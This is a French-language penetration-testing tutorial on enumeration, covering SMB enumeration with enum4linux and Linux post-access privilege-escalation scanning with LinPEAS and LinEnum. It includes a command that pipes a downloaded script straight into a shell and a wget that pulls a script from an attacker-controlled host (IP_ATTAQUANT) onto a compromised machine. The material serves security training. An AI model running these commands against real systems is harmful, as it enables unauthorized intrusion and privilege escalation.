I — Qu'est-ce que l'énumération ?
L'énumération est la phase qui suit le scan initial. Là où Nmap identifie les ports ouverts et les services, l'énumération consiste à extraire le maximum d'informations sur ces services : utilisateurs, groupes, partages réseau, versions logicielles, fichiers de configuration exposés…
C'est souvent durant cette phase qu'on découvre les éléments qui mèneront à une exploitation réussie : un compte sans mot de passe, un partage SMB accessible anonymement, un fichier de configuration lisible par tous.
À retenir : Plus l'énumération est exhaustive, plus les chances d'exploitation sont élevées. Ne pas négliger cette phase au profit de l'exploitation directe.
II — Énumération SMB avec enum4linux
enum4linux est un outil d'énumération des serveurs SMB (Server Message Block), le protocole de partage de fichiers Windows. Il permet d'extraire des informations sur les utilisateurs, les groupes, les partages et la politique de mots de passe d'une machine Windows ou Samba.
Informations récupérables :
• Liste des utilisateurs du domaine ou de la machine.
• Liste des groupes et leurs membres.
• Partages réseau disponibles (dont ceux accessibles anonymement).
• Politique de mots de passe (longueur minimale, complexité…).
• Informations sur le système d'exploitation.
enum4linux cible
enum4linux -U cible
enum4linux -S cible
enum4linux -G cible
enum4linux -P cible
enum4linux -a cible
Bonne pratique : Rediriger la sortie vers un fichier pour pouvoir l'analyser tranquillement : enum4linux -a cible | tee enum4linux.txt
III — Énumération Linux (Post-accès)
Une fois un accès obtenu sur une machine Linux, l'objectif est d'escalader les privilèges pour obtenir un accès root. Les outils suivants automatisent la recherche de vecteurs d'escalade : mauvaises permissions, SUID, cron jobs mal configurés, credentials en clair…
LinPEAS
LinPEAS (Linux Privilege Escalation Awesome Script) est le script d'énumération Linux le plus complet. Il analyse la machine et met en évidence les éléments exploitables avec un code couleur : rouge/jaune = haute probabilité d'exploitation.
Il couvre notamment :
• Informations système (OS, kernel, architecture).
• Utilisateurs et groupes — comptes avec UID 0, groupes sensibles (docker, sudo, lxd…).
• Fichiers SUID/GUID — binaires exécutables avec des droits élevés.
• Cron jobs — tâches planifiées exécutées en root.
• Services — processus tournant en root, ports internes ouverts.
• Fichiers de configuration et credentials lisibles.
curl https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh | sh
python3 -m http.server 8080
wget http://IP_ATTAQUANT:8080/linpeas.sh
chmod +x linpeas.sh && ./linpeas.sh | tee linpeas.txt
LinEnum
LinEnum est une alternative plus ancienne à LinPEAS, plus légère et plus lisible. Utile quand on veut une sortie moins volumineuse ou sur des systèmes très contraints.
chmod +x LinEnum.sh
./LinEnum.sh
./LinEnum.sh -t
./LinEnum.sh -r rapport
Conseil : LinPEAS est recommandé pour une énumération complète. LinEnum reste utile pour une lecture rapide ou sur des environnements où LinPEAS est trop volumineux.
IV — Récapitulatif des outils
Voici un résumé des outils couverts dans cette documentation :
• enum4linux — Énumération des serveurs SMB/Windows (utilisateurs, partages, groupes, politique de mots de passe).
• linpeas — Énumération post-accès Linux complète, recherche de vecteurs d'escalade de privilèges avec code couleur.
• linenum — Alternative légère à LinPEAS pour l'énumération Linux.